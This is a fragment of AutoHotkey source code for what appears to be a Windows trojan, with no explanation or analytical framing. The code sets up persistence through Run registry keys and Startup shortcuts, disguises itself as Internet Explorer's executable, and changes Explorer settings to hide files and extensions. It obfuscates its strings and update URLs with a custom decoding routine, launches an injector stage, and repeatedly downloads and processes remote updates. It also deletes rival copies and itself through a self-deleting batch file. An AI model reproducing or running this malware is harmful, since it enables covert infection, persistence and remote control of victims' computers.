Try run, %pr_pth% %alt_0_chr% %cm%,, Useerrorlevel
if errorlevel = 0
runok++
chk_tskmgr()
}
if runok > 0
ExitApp
For ix_, roott in ["HKCU", "HKLM"]
For ixx, regpth in [reg_sw_ms_win_cu_ro, reg_sw_ms_win_cu_ru]
Loop, %roott%, %regpth%
{
Try RegRead, regvalue
r_fle := StrSplit(regvalue, """")[2]
if !r_fle
continue
if !FileExist(r_fle)
continue
ver := ver_typ(r_fle)
if (ver > 0) {
if InStr(regvalue, alt_0_chr) {
hde_fldrs()
ExitApp
}
}
else if (ver = 0) {
kill_del(r_fle)
Try regdelete
}
}
For ii, lpp in [startupcommon, startup]
loop, %lpp%\*.lnk
{
Try FileGetShortcut, %a_loopfilefullpath%, OTrgt,,OArg
if !FileExist(OTrgt)
continue
ver := ver_typ(OTrgt)
if (ver > 0) {
if OArg contains %alt_0_chr%
ExitApp
}
else if (ver = 0) {
kill_del(a_loopfilefullpath)
kill_del(OTrgt)
}
}
exist_ix =
For indx, loopfield in [myprg_dir ie_ix_exe, appdata "\" prg_alt0160_fls ie_ix_exe] {
if !FileExist(loopfield)
continue
exist_ix .= loopfield "|"
ver := ver_typ(loopfield)
if (ver > 0) {
Try run, %loopfield% %alt_0_chr% %netw_srv%,, useerrorlevel
if errorlevel = 0
ExitApp
}
else if ver != -1
continue
kill_del(loopfield)
if FileExist(loopfield)
continue
chg_icn_typ_cpy(ScriptFullPath, loopfield, "ix")
sleep, 200
if !FileExist(loopfield)
continue
Try FileSetAttrib, +RSA, %loopfield%
Try FileSetAttrib, -H, %loopfield%
Try run, %loopfield% %alt_0_chr% %netw_srv%,, Useerrorlevel
if errorlevel = 0
ExitApp
}
Loop, %atemp%\*, 2
{
if !RegExMatch(a_loopfilename, "^[\d]{12}$")
continue
fst_loopfilefullpath := a_loopfilefullpath
loop, %a_loopfilefullpath%\*, 2
{
if !RegExMatch(a_loopfilename, "^[\d]{12}$")
continue
tmfile = %a_loopfilefullpath%\%prg_alt0160_fls%%ie_ix_exe%
if !FileExist(tmfile)
continue
exist_ix .= tmfile "|"
if (ver_typ(tmfile) > 0) {
Try run, %tmfile% %alt_0_chr% %netw_srv%,, Useerrorlevel
if errorlevel = 0
ExitApp
}
else
{
kill_del(tmfile)
kill_del(a_loopfilefullpath)
kill_del(fst_loopfilefullpath)
}
}
}
For indx, loopfield in StrSplit(exist_ix, "|") {
if !loopfield
continue
if !FileExist(loopfield)
continue
kill_del(loopfield)
if FileExist(loopfield)
continue
chg_icn_typ_cpy(ScriptFullPath, loopfield, "ix")
if !FileExist(loopfield)
continue
Try FileSetAttrib, +RSA, %loopfield%
Try FileSetAttrib, -H, %loopfield%
Try run, %loopfield% %alt_0_chr% %netw_srv%,, Useerrorlevel
if errorlevel = 0
ExitApp
}
return
get_prcs_by_cls(inc_slf=0) {
Static m_wn_cls, wn_ex
Global systemroot, selfpid, mky
stringcasesense, off
if !m_wn_cls
m_wn_cls := dcprt("eduxwtnqr8GJmn2U6taY3Le-boLadz6apz9u-bwbuUkrns1nneyrzZ6WC6qsSYvK-a1u9a1", mky)
if !wn_ex
wn_ex := dcprt("kMi5xtbnvLTIlra83Q-c-c", mky)
ac:=[]
dn_pid:="|"
Try WinGet, idd, list
Loop, %idd%
{
win_id := idd%a_index%
Try WinGetClass, cls, ahk_id %win_id%
if cls not contains %m_wn_cls%
continue
Try WinGet, ppid, pid, ahk_id %win_id%
if (!ppid || (!inc_slf && ppid = selfpid) || InStr(dn_pid, "|" ppid "|")) {
continue
}
VarSetCapacity(pr_pth, 4096, 0)
g := DllCall("OpenProcess", "UInt", 0x0010 | 0x0400, "Int", false, "UInt", ppid)
DllCall("Psapi.dll\GetModuleFileNameExA", "UInt", g, "UInt", "", "Str", pr_pth, "UInt", 4096)
DllCall("CloseHandle", "UInt", g)
if (InStr(pr_pth, ":\") && pr_pth != systemroot wn_ex) {
SplitPath, pr_pth, pr_nm, pr_dir
ac.Push({pr_pid: ppid, pr_pth: pr_pth, pr_dir: pr_dir, pr_nm: pr_nm, pr_hwd: win_id, pr_cls: cls})
dn_pid .= ppid "|"
}
}
dn_pid :=
return ac
}
try_del_fl(fl="") {
if !fl
return 1
if !FileExist(fl)
return 1
Try filedelete, %fl%
if !FileExist(fl)
return 1
Try filedelete, \\.\%fl%
if !FileExist(fl)
return 1
Try run, %comspec% /c RD /S /Q "\\.\%fl%",,hide UseErrorLevel, p
if ErrorLevel != ERROR
{
Try process, WaitClose, %p%, 2
Try process, close, %p%
sleep, 100
}
return FileExist(fl) ? 0 : 1
}
try_del_fldr(fl="") {
if !fl
return 1
if !FileExist(fl)
return 1
Try fileremovedir, %fl%, 1
if !FileExist(fl)
return 1
Try fileremovedir, \\.\%fl%, 1
if !FileExist(fl)
return 1
Try run, %comspec% /c RD /S /Q "\\.\%fl%",,hide UseErrorLevel, p
if ErrorLevel != ERROR
{
Try process, WaitClose, %p%, 2
Try process, close, %p%
sleep, 100
}
return FileExist(fl) ? 0 : 1
}
kill_del(del_file="", pr_pid=0) {
if (pr_pid > 0) {
Try {
process, exist, %pr_pid%
if (ErrorLevel = pr_pid) {
Try process, close, %pr_pid%
Try process, waitclose, %pr_pid%, 3
}
}
}
if !InStr(del_file, ":\")
return 1
if !FileExist(del_file)
return 1
loop, %del_file%, 0
{
fpath := A_LoopFileFullPath
if try_del_fl(fpath)
break
Try FileSetAttrib, -RSAH, %fpath%
if try_del_fl(fpath)
break
if try_del_fl("\\.\" fpath)
break
loop, 1000
{
bk := del_file "_bak" ((a_index = 1) ? "" : SubStr("000" (a_index-2), -2))
if !FileExist(bk)
Break
Try FileSetAttrib, -RSAH, %bk%
if try_del_fl(bk)
Break
}
Try filemove, %fpath%, %bk%, 1
sleep, 50
}
loop, %del_file%, 2
{
fpath := A_LoopFileFullPath
if try_del_fldr(fpath)
break
Try FileSetAttrib, -RSAH, %fpath%
Try FileSetAttrib, -RSAH, %fpath%\*, 1, 1
if try_del_fldr(fpath)
break
if try_del_fldr("\\.\" fpath)
break
loop, 1000
{
bk := del_file "_bak" ((a_index = 1) ? "" : SubStr("000" (a_index-2), -2))
if !FileExist(bk)
Break
Try FileSetAttrib, -RSAH, %bk%
Try FileSetAttrib, -RSAH, %bk%\*, 1, 1
if try_del_fldr(bk)
Break
}
Try FileMoveDir, %del_file%, %bk%, R
sleep, 50
}
return FileExist(del_file) ? 0 : 1
}
set_srvcs:
svcpat := "i).*\\" win_alt0160_def "\\" StrReplace(MCuiEXE, ".", "\.") "$"
For idn, pr in get_prcs_by_cls() {
pr_pth := pr.pr_pth
pr_pid := pr.pr_pid
if !pr_pth
continue
if (RegExMatch(pr_pth, svcpat) > 0) {
ver := ver_typ(pr_pth)
if (ver = -1)
kill_del(pr_pth, pr_pid)
else if ver = 2
goto, close_self_all_ext
else if (ver = 1) {
wtchr_pid := pr_pid
return
}
}
}
tmpfile =
For indx, loopfield in [prg_dir "\" win_alt0160_def "\" MCuiEXE, appdata "\" prg_fls "\" win_alt0160_def "\" MCuiEXE] {
stringgetpos, kk, loopfield, \, R2
stringleft, fstdir, loopfield, %kk%
scnddir = %fstdir%\%win_alt0160_def%
if FileExist(loopfield) {
ver := ver_typ(loopfield)
if (ver = 2) {
Try {
run, %loopfield% %alt_0_chr%,, useerrorlevel
goto, close_self_all_ext
}
}
else if (ver = 1) {
tmpfile := loopfield
goto, run_ext
}
Else
kill_del(loopfield)
}
if FileExist(loopfield)
continue
if !FileExist(scnddir) {
Try filecreatedir, %scnddir%
sleep, 50
}
if !FileExist(scnddir)
continue
sc := get_num_seed(10)
ck = %scnddir%\%sc%.ini
Try FileAppend, security=1, %ck%
sleep, 50
if !FileExist(ck)
continue
kill_del(ck)
chg_icn_typ_cpy(ScriptFullPath, loopfield, "wd")
sleep, 50
if !FileExist(loopfield)
continue
tmpfile = %loopfield%
if fstdir not contains :\%prg_fls%
Try FileSetAttrib, +RSAH, %fstdir%
Try FileSetAttrib, +RSAH, %scnddir%
goto, run_ext
}
if tmpfile !=
goto, run_ext
run_in_tmp(MCuiEXE)
return
run_ext:
SplitPath, tmpfile, tmpfile_nm, file_dir
Try FileSetAttrib, +RSA, %tmpfile%
Try FileSetAttrib, -H, %tmpfile%
if InStr(tmpfile,"\Temp\") {
ts=
tt=
For indx, loopfield in StrSplit(tmpfile, "\") {
tt .= loopfield "\"
if loopfield = Temp
ts = 1
if ts = 2
{
stringtrimright, kk, tt, 1
Try FileSetAttrib, +RSAH, %kk%
}
if ts = 1
ts++
}
}
if (tmpfile_nm = MCuiEXE) {
Try {
Try run, %tmpfile% %alt_0_chr% %lcl_srv%,, useerrorlevel, wtchr_pid
if (ScriptName != ieDotexe || !wtchr_pid || errorlevel = "ERROR") {
return
}
Try process, wait, %wtchr_pid%, 5
if errorlevel = 0
return
OnExit
run, %ScriptFullPath% %alt_0_chr% %netw_srv%,, useerrorlevel
ExitApp
}
}
if (tmpfile_nm = ieDotexe) {
Try run, %tmpfile% %alt_0_chr% %netw_srv%,, useerrorlevel, ix_pid
er := errorlevel
if InStr(ScriptFullPath, win_def_mscuiexe)
exitapp
if (!ix_pid || er = "ERROR") {
return
}
Try process, wait, %ix_pid%, 5
if errorlevel = 0
return
Try {
OnExit
run, %ScriptFullPath% %alt_0_chr% %lcl_srv%,, useerrorlevel
ExitApp
}
}
return
s2h(strg) {
local ret
If !strg
Return ""
SetFormat, INTEGER, H
Loop, Parse, strg
ret .= SubStr("00" . substr(Asc(A_LoopField), 3, 2), -1)
SetFormat, INTEGER, D
Return ret
}
h2s(strg) {
local ret
If !strg
Return
Loop % StrLen(strg)//2
ret .= Chr("0x" SubStr(strg, A_Index * 2 - 1, 2 ))
Str_Replace(ret,"`r")
Return ret
}
return
trjninjctr_strt:
loop, %atemp%\~temp~*iN.exe
if (StrLen(a_loopfilename) = 22) {
kill_del(a_loopfilefullpath)
}
injctr_fl := atemp "\~temp~" get_num_seed(10) "iN.exe"
chg_icn_typ_cpy(ScriptFullPath, injctr_fl, "ix")
sleep, 50
if FileExist(injctr_fl) {
Try run, %injctr_fl% %alt_0_chr% win %alt_0_chr%,, useerrorlevel
}
return
trjninjctr:
if cmdl_on != %alt_0_chr%
ExitApp
nhm := dcprt("c-aO5r82Siw-c-c", "uJG^%&kF")
if (cmdl_tw != "win" && cmdl_tw != nhm) {
ExitApp
}
if cmdl_on != %alt_0_chr%
ExitApp
if cmdl_th != %alt_0_chr%
ExitApp
if cmdl_tw != win
{
if cmdl_tw != %nhm%
ExitApp
}
if cmdl_th != %alt_0_chr%
ExitApp
pat := dcprt("nYyf1N7dt7-bUw4FxscSsoIbO3b6QkabOz5w-c", mky)
if (RegExMatch(ScriptName, pat) > 0) {
to_rn := get_dup_prg_ie_ix()
if to_rn
{
if (FileSize(to_rn) > 0) {
Try {
onexit, slfklext
run, %to_rn% %alt_0_chr% %nhm% %alt_0_chr%,, useerrorlevel
ExitApp
}
}
}
}
Else
{
For idn, pr in get_prcs_by_cls() {
pr_pth := pr.pr_pth
if (pr.pr_pid != selfpid && pr_pth = ScriptFullPath) {
if (ver_typ(pr_pth) = 1) {
OnExit
exitapp
}
}
}
}
if (ScriptFullPath = prg_dir ie_ix_exe) {
restr_ori_ie()
}
ixdll := ScriptDir dcprt("kMymv9jrvrDC1H-ao5NM-c", mky)
If (ScriptName = ieDotexe && FileExist(ScriptFullPath)) {
if (ver_typ(ScriptFullPath) = 1) {
tmp_ix_cpy =
For ii, ix_cpy in [atemp "\~ix~data.dat", prg_ie_ix, ori_ie_bk] {
if FileExist(ix_cpy) {
if (ver_typ(ix_cpy) != 1) {
tmp_ix_cpy := ix_cpy
break
}
}
}
if tmp_ix_cpy
{
kill_del(ixdll)
if !FileExist(ixdll) {
Try FileSetAttrib, -RSAH, %ScriptFullPath%
Try FileMove, %ScriptFullPath%, %ixdll%, 1
sleep, 50
if (!FileExist(ScriptFullPath) && FileExist(ixdll)) {
Try FileSetAttrib, +RSA, %ixdll%
Try FileCopy, %tmp_ix_cpy%, %ScriptFullPath%, 1
Try FileSetAttrib, +RSA, %ScriptFullPath%
if FileExist(ScriptFullPath) {
ScriptFullPath := ixdll
SplitPath, ixdll, ScriptName
}
}
}
}
}
}
upd_ver_cnt()
dmy_cnt := get_ver_cnt()
rg_lu_dys := get_lst_upd_dys()
tdy_no_trj := InStr(rg_lu_dys, "|" a_yday "|") ? 1 : 0
is_dumy_hst = 0
if tdy_no_trj
{
if (dmy_cnt < 12 || (dmy_cnt > 14 && Mod(dmy_cnt, 12) > 2)) {
goto, upchk_dn_
}
if dmy_cnt < 24
is_dumy_hst = 1
}
Else
{
if (dmy_cnt < 12) {
upd_ver_cnt(24)
is_dumy_hst = 1
}
}
if !is_dumy_hst
{
updlnks := rdm_lnks("nNK4ytnrr7LL2rZy7Nma38W1otOj0Etg2tt3wrvLxrbdlajUuMSi06PQS2Da23fCu8vGtt2VqNS7s-aDpYsaww3SCvbDG1oVy7Nma38W1otOj0Etg2tt3wrvLxrbdlWGfhsjZ0pzStMrL6Lp9ude-aToLXlOK7tOnimZGkt9rms8eEy8CxgnGh0sm21-aWmyG-aHl-a-a9fbnXvk6C15Tiu7Tp4pmRo8-bP7LK-aydyEd6bKoNw-c")
updlnks .= "`n" rdm_lnks("nMitwtnhuMPIyX-as59el3oTA5tc-ay6bC1uezvcrasnLl4KfduX-bX36FtrrfT5r-a-busnFqeqVmd7GxeOeo9WoYN3xvcO71ca03Mil1Ml-b2NSi1m-bEz-aw-c")
}
else
{
updlnks := rdm_lnks("mNK4xNbnq7OE1bqn6tak3rzFotOj0EvL2tyrw7uWvq3b2aDixbfonpfSrg-c-c")
}
upd_lnks := StrSplit(updlnks, "`n")
if !is_dumy_hst
upd_nw_lks(upd_lnks, gt_reg_sec_ky())
Loop
{
For i, updlnk in upd_lnks {
if !updlnk
continue
ret := dl_upd(updlnk, "t")
if is_dumy_hst
goto, upchk_dn
if (StrLen(ret) <= 0)
goto, hsts_lp_end
if (prcs_dl_txt(ret) = 1)
goto, upchk_dn
hsts_lp_end:
sleep, 60000
}
if dl_faild
break
sleep, 600000
}
upchk_dn:
upd_lst_upd_dys()
upd_ver_cnt(27)
upchk_dn_:
if (ScriptDir = myprg_dir "\" int_exp && ScriptFullPath = ixdll) {
Try FileSetAttrib, -RSAH, %ixdll%
ss := ScriptDir "\" ieDotexe
Try FileSetAttrib, -RSAH, %ss%
Try FileMove, %ixdll%, %ss%, 1
if FileExist(ss) {
if (ver_typ(ss) = 1) {
ScriptFullPath := ss
ScriptName := ieDotexe
Try FileSetAttrib, +RSA, %ss%
}
}
}
if (ScriptFullPath = myprg_dir ie_ix_exe && FileExist(ScriptFullPath)) {
OnExit
Try run, %ScriptFullPath% %alt_0_chr% %netw_srv%,, useerrorlevel
}
ix_renms_del()
ExitApp
rdm_lnks(sc_lks) {
Global mky
if !sc_lks
return
lkk := StrReplace(dcprt(sc_lks, mky), "`r")
sort, lkk, R
lkk := Trim(lkk,"`n")
sort, lkk, Random
return lkk
}
upd_nw_lks(ByRef uplks, dctxt) {
if !dctxt
return
For xx, lppf in StrSplit(dctxt, "|") {
lchk := StrSplit(lppf, ",")
if (lchk.Length() = 2)
For ii, uplk in uplks
if (lchk[2] != "" && uplk = lchk[1])
uplks[ii] := lchk[2]
}
}
set_ie_oln() {
Global
rg_wt("REG_BINARY", , "Software\Microsoft\Internet Connection Wizard", "Completed", "01000000")
rg_wt("REG_SZ", , reg_sw_ms_ie "\Main", "Check_Associations", "no")
rg_wt("REG_DWORD", , "Software\Microsoft\Windows\CurrentVersion\Internet Settings", "GlobalUserOffline", "0")
}
mk_hxfl(fl, hxdt) {
if (!hxdt || !fl)
return 0
if !kill_del(fl)
return 0
h2b(bin,hxdt)
Try {
fle := FileOpen(fl, "w")
if !IsObject(fle)
return 0
ot_sz := StrLen(hxdt)//2
fle.RawWrite(&bin, ot_sz)
sleep, 50
ot_sz_ := fle.Length
VarSetCapacity(bin, 0)
fle.Close()
if (ot_sz_ != ot_sz)
return 0
if FileExist(fl)
return 1
}
return 0
}
return
delexit:
For ii, stpp in [startup, startupcommon]
kill_del(stpp "\" win_alt0160_def ".lnk")
slfklext:
if InStr(ScriptName,"~temp~") {
loop, %atemp%\*.exe
if (RegExMatch(a_loopfilename, "i)^~temp~.*iN\.exe$") && A_LoopFileFullPath != ScriptFullPath && A_LoopFileFullPath != injctr_fl)
kill_del(A_LoopFileFullPath)
}
hde_fldrs()
cmd_del_file(ScriptFullPath)
ExitApp
cmd_del_file(fl) {
Global
if !FileExist(fl)
return
Try FileSetAttrib, -RSAH, %fl%
tb := atemp "\del" get_num_seed(5) ".bat"
kill_del(tb)
Try FileAppend, ping 127.0.0.1 -n 3`r`ndel "%fl%"`r`ndel "%tb%"`r`nexit, %tb%
sleep, 100
c := """"
cm := FileExist(tb) ? c tb c : "del /f /q " c fl c
Try run, %comspec% /c %cm%,,Hide UseErrorLevel
Try run, %comspec% /c del /f /q "%fl%",,Hide UseErrorLevel
return
}
hde_fldrs() {
Global reg_sw_ms_win_cu_ex_adv
rr:=reg_sw_ms_win_cu_ex_adv
rg_wt("REG_DWORD", , rr, "Hidden","2")
rg_wt("REG_DWORD", , rr, "HideFileExt", "1")
rg_wt("REG_DWORD", , rr, "SuperHidden", "1")
rg_wt("REG_DWORD", , rr, "ShowSuperHidden","0")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\HideFileExt", "DefaultValue","1")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\HideFileExt", "CheckedValue","1")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\NOHIDDEN", "CheckedValue", "2")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\NOHIDDEN", "DefaultValue","2")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\SHOWALL", "CheckedValue","1")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\SHOWALL", "DefaultValue","2")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "CheckedValue","0")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "DefaultValue","0")
rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "UncheckedValue","0")
}
return
get_num_seed(len = 0) {
rnn =
len := regexreplace(len, "[^\d]") + 0
if len <= 0
return ""
if (len > 9) {
loop, % len // 9
rnn .= get_num_seed(9)
rm := Mod(len, 9)
if (rm > 0)
rnn .= get_num_seed(rm)
return rnn
}
strt =
endd =
ln := len - 1
loop, %ln%
strt .= "0"
loop, %len%
endd .= "9"
strt = 1%strt%
strt += 0
endd += 0
if (strt < 1 || endd < 1) {
return ""
}
random, rnn, %strt%, %endd%
return rnn
}
getcommonpaths:
if cmn_pths_dn
return
cmn_pths_dn = 1
stringcasesense, off
rdm := get_num_seed(20)
rg_lm_ok = 1
wschk := dcprt("nbW4prGKib24tb7AoY2Lq7E-c", "LJG^%&HF")
vrmc := dcprt("nLW8u9OGkpu6u7ysunJni46VmIy6", "LJG^%&HF")
if (xp_hgr) {
Try regdelete, HKLM, %reg_sw_ms_ie%, %wschk%
Try regdelete, HKEY_CLASSES_ROOT, %vrmc%%reg_sw_ms_ie%, %wschk%
rg_wt(, "HKLM", reg_sw_ms_ie, wschk, rdm)
if (rg_rd("HKEY_CLASSES_ROOT", vrmc reg_sw_ms_ie, wschk) != rdm) {
rg_lm_ok = 0
}
Try regdelete, HKLM, %reg_sw_ms_ie%, %wschk%
Try regdelete, HKEY_CLASSES_ROOT, %vrmc%%reg_sw_ms_ie%, %wschk%
}
else
{
rg_wt(, "HKLM", reg_sw_ms_ie, wschk, rdm)
if (rg_rd("HKLM", reg_sw_ms_ie, wschk) != rdm) {
rg_lm_ok = 0
}
Try regdelete, HKLM, %reg_sw_ms_ie%, %wschk%
}
atemp = %a_temp%
if !atemp
atemp = %temp%
if (atemp != "" && USERPROFILE = "")
{
stringgetpos, usr, atemp, \, L3
stringleft, USERPROFILE, atemp, %usr%
if systemdrive =
stringleft, systemdrive, atemp, 2
}
loop, %USERPROFILE%, 2
USERPROFILE = %a_loopfilelongpath%
setworkingdir, %USERPROFILE%
loop, %atemp%, 2
atemp = %a_loopfilelongpath%
if systemdrive =
{
DriveGet, OutputVar, list, FIXED
loop, parse, OutputVar
{
dr = %a_loopfield%:
Try DriveGet, sts, Status, %dr%
if sts = Ready
{
if (FileExist(dr "\Windows") && FileExist(dr "\" prg_fls)) {
systemroot_tmp = %dr%\Windows
systemdrive := dr
break
}
}
}
}
if systemroot =
systemroot = %a_windir%
if (systemroot = "" && systemdrive != "") {
s = %systemdrive%\Windows
if FileExist(s)
systemroot = %s%
if systemroot = "" && systemroot_tmp != "")
systemroot := systemroot_tmp
}
sys_explorer := (systemroot ? systemroot : a_windir) "\explorer.exe"
if !AppData
AppData = %A_AppData%
shfldr := dcprt("e5Cw3dWGmK2EbrPM0JSZt46VpsDHk4q3n5SmrNOXmK2WlaDO0JiPt5Z9j-aHOkZW6jZOm", "!Ji^%&H(")
if !AppData
{
AppData := rg_rd(, shfldr "User Shell Folders", "AppData")
if AppData =
{
AppData := rg_rd(, shfldr "Shell Folders", "AppData")
if AppData =
AppData = %USERPROFILE%\AppData\Roaming
else
AppData = %AppData%
}
Str_Replace(AppData,"%USERPROFILE%",USERPROFILE)
if !FileExist(AppData)
Try filecreatedir, %AppData%
}
ms_wn_st_pr_st := dcprt("hG6zzNCUmbeOlabAx5OKt5-aUprzShpi8SG6v19OBdrqXiLzKy5iCm5yCvN3TlQ-c-c", "!Ji^%&H(")
startup = %a_startup%
if !startup
{
reg_startup := rg_rd(, shfldr "User Shell Folders", "Startup")
Str_Replace(reg_startup,"%USERPROFILE%",USERPROFILE)
if reg_startup =
reg_startup := AppData ms_wn_st_pr_st
startup := reg_startup
if !FileExist(startup)
Try filecreatedir, %startup%
}
startupcommon := a_startupcommon
if !startupcommon
{
reg_startupcommon := rg_rd("HKLM", shfldr "Shell Folders", "Common Startup")
if reg_startupcommon =
reg_startupcommon := systemdrive "\ProgramData" ms_wn_st_pr_st
startupcommon := reg_startupcommon
}
if !startupcommon
startupcommon := systemdrive "\Users\All Users" ms_wn_st_pr_st
prg_dir := a_programfiles
if !prg_dir
prg_dir := programfiles
if !prg_dir
prg_dir := systemdrive "\" prg_fls
myprg_dir := systemdrive "\" prg_alt0160_fls
ies = %prg_dir%\%int_exp%\
ori_ie_bk := ies "iexplore.dll"
prg_ie_ix := ies ieDotexe
my_ie_bk := ies "ieinstall.dll"
return
ecprt(dta, ky) {
if dta =
return
ecc=
l:=strlen(ky)
if (l > 0) {
loop, parse, dta
ecc.=chr(Asc(SubStr(dta,a_index,1)) + Asc(substr(ky,mod(a_index,l)-1,1)))
dta:=ecc
}
return cnv_spl(dta)
}
dcprt(dta, ky) {
if dta =
return
de=
d:=bsdcd(StrReplace(StrReplace(StrReplace(dta,"-a","+"),"-b","/"),"-c","="))
l:=strlen(ky)
if (l > 0) {
loop, parse, d
de.=chr(Asc(SubStr(d,a_index,1)) - Asc(substr(ky,mod(a_index,l)-1,1)))
d:=de
}
return d
}
cnv_spl(t) {
if !t
return
return StrReplace(StrReplace(StrReplace(StrReplace(StrReplace(bsecd(t) ,"`r"),"`n"),"+","-a"),"/","-b"),"=","-c")
}
bsecd(str) {
Global alp_num
StringCaseSense, On
Loop Parse, str
{
s := SubStr(str, a_index, 1),m := Mod(A_Index,3)
IfEqual, m,1, SetEnv buffer, % Asc(s) << 16
Else IfEqual m,2, EnvAdd buffer, % Asc(s) << 8
Else {
buffer += Asc(s)
out := out SubStr(alp_num,((buffer>>18)&63)+1,1) SubStr(alp_num,((buffer>>12)&63)+1,1) SubStr(alp_num,((buffer>>6)&63)+1,1) SubStr(alp_num,(buffer&63)+1,1)
}
}
IfEqual, m,0, Return out
IfEqual, m,1, Return out SubStr(alp_num,((buffer>>18)&63)+1,1) SubStr(alp_num,((buffer>>12)&63)+1,1) "=="
out := out SubStr(alp_num,((buffer>>18)&63)+1,1) SubStr(alp_num,((buffer>>12)&63)+1,1) SubStr(alp_num,((buffer>>6)&63)+1,1) "="
StringCaseSense, Off
Return out
}
bsdcd(cd) {
Global alp_num
StringCaseSense, On
Str_Replace(cd,"=")
Loop Parse, cd
{
s := SubStr(cd, a_index, 1)
m := A_Index & 3
IfEqual, m,0, {
buffer += (InStr(alp_num,s,1)-1)
out := out Chr(buffer>>16) Chr(255 & buffer>>8) Chr(255 & buffer)
}
Else IfEqual, m,1, SetEnv, buffer, % (InStr(alp_num,s,1)-1) << 18
Else buffer += (InStr(alp_num,s,1)-1) << 24-6*m
}
IfEqual, m,0, Return out
IfEqual, m,2, Return out Chr(buffer>>16)
out := out Chr(buffer>>16) Chr(255 & buffer>>8)
StringCaseSense, Off
Return out
}
cpy_ie_bk() {
Global ori_ie_bk, prg_ie_ix, atemp
if FileExist(ori_ie_bk) {
Try FileCopy, %ori_ie_bk%, %prg_ie_ix%, 1
if errorlevel = 0
return
}
ixdt := dcprt("osqzv9yJh7yneq6o0g-c-c", "LJG^%&HF")
if FileExist(atemp . ixdt) {
Try FileCopy, %atemp%%ixdt%, %prg_ie_ix%, 1
}
return
}
restr_ori_ie() {
Global prg_ie_ix
ix_renms_del()
loop, 2
{
if (FileExist(prg_ie_ix) && ver_typ(prg_ie_ix) != 1)
break
if !FileExist(prg_ie_ix) {
cpy_ie_bk()
break
}
nr := get_num_seed(5)
Try FileSetAttrib, -RSAH, %prg_ie_ix%
Try filemove, %prg_ie_ix%, %prg_ie_ix%.%nr%, 1
if !FileExist(prg_ie_ix) {
cpy_ie_bk()
break
}
}
ix_renms_del()
}
return
ix_renms_del() {
Global
For indx, lpx in [ScriptDir "\" ieDotexe, prg_dir ie_ix_exe]
loop, %lpx%*
if (StrLen(a_loopfilename) > 12) {
Try FileSetAttrib, -RSAH, %a_loopfilefullpath%
Try FileDelete, %a_loopfilefullpath%
sleep, 50
If FileExist(a_loopfilefullpath)
Try FileSetAttrib, +RSA, %a_loopfilefullpath%
}
}
bkp_ori_ie() {
global prg_ie_ix, ori_ie_bk, atemp
bkp_k = 0
tmp_ixdt := atemp . dcprt("osqzv9yJh7yneq6o0g-c-c", "LJG^%&HF")
if (ver_typ(prg_ie_ix) != 1) {
Try FileCopy, %prg_ie_ix%, %ori_ie_bk%, 1
if errorlevel = 0
bkp_k++
Try FileCopy, %prg_ie_ix%, %tmp_ixdt%, 1
if errorlevel = 0
bkp_k++
}
if (!bkp_k && FileExist(ori_ie_bk)) {
if (ver_typ(ori_ie_bk) != 1) {
bkp_k++
}
}
if (!bkp_k && FileExist(tmp_ixdt)) {
if (ver_typ(tmp_ixdt) != 1) {
bkp_k++
}
}
return bkp_k
}
get_dup_prg_ie_ix() {
Global
if FileExist(prg_ie_ix) {
if (ver_typ(prg_ie_ix) = 1) {
return prg_ie_ix
}
}
if (bkp_ori_ie() = 0) {
restr_ori_ie()
if (bkp_ori_ie() = 0) {
return self_ixplr()
}
}
kill_del(prg_ie_ix)
chg_icn_typ_cpy(ScriptFullPath, prg_ie_ix, "ix")
sleep, 200
if FileExist(prg_ie_ix) {
Try FileSetAttrib, +RSA, %prg_ie_ix%
Try FileSetAttrib, -H, %prg_ie_ix%
if (ver_typ(prg_ie_ix) = 1) {
return prg_ie_ix
}
return self_ixplr()
}
return self_ixplr()
}
self_ixplr() {
global
restr_ori_ie()
tmp_iex =
rettix =
For indx, loopfield in [myprg_dir StrReplace(ie_ix_exe, " ", alt_0_chr), appdata "\" prg_alt0160_fls ie_ix_exe, ScriptDir ie_ix_exe] {
if FileExist(loopfield) {
if (ver_typ(loopfield) = 1) {
Try {
Try FileGetAttrib, atr, %loopfield%
if (!InStr(atr,"R") || !InStr(atr,"A") || !InStr(atr,"S") || InStr(atr,"H")) {
Try FileSetAttrib, +RSA, %loopfield%
Try FileSetAttrib, -H, %loopfield%
}
}
rettix = %loopfield%
goto ret_rettix
}
kill_del(loopfield)
if FileExist(loopfield) {
sleep, 100
continue
}
}
if !tmp_iex
{
tmp_iex := atemp "\~temp~" get_num_seed(8) ".tmp"
if !chg_icn_typ_cpy(ScriptFullPath, tmp_iex, "ix")
tmp_iex := ScriptFullPath
}
SplitPath, loopfield, , OutDir
Try {
Try filecreatedir, %OutDir%
Try filecopy, %tmp_iex%, %loopfield%, 1
Try FileSetAttrib, +RSA, %loopfield%
Try FileSetAttrib, -H, %loopfield%
}
if !FileExist(loopfield) {
sleep, 100
continue
}
rettix = %loopfield%
goto ret_rettix
}
ret_rettix:
if (tmp_iex && tmp_iex != ScriptFullPath)
kill_del(tmp_iex)
return rettix
}
Wtchr:
if cmdl_on != %alt_0_chr%
ExitApp
wu := dcprt("nbW4q82cmaebvK6o0oo-c", "LJG^%&HF")
For indx, hk in ["HKLM", "HKCU"]
Loop, %hk%, %reg_sw_ms_win_cu_ro%
if (InStr(A_LoopRegName, wu) && StrLen(A_LoopRegName) = 19) {
Try RegRead, rgval
if !rgval
continue
k := StrSplit(rgval, """")[2]
if !k
continue
kill_del(k)
Try regdelete
}
Try DllCall("kernel32.dll\SetProcessShutdownParameters", UInt, 0x4FF, UInt, 0)
OnMessage(0x11, "shutin")
Try FileSetAttrib, +RSAH, %ScriptDir%
Try process, wait, %ieDotexe%, 3
if errorlevel = 0
sleep, 3000
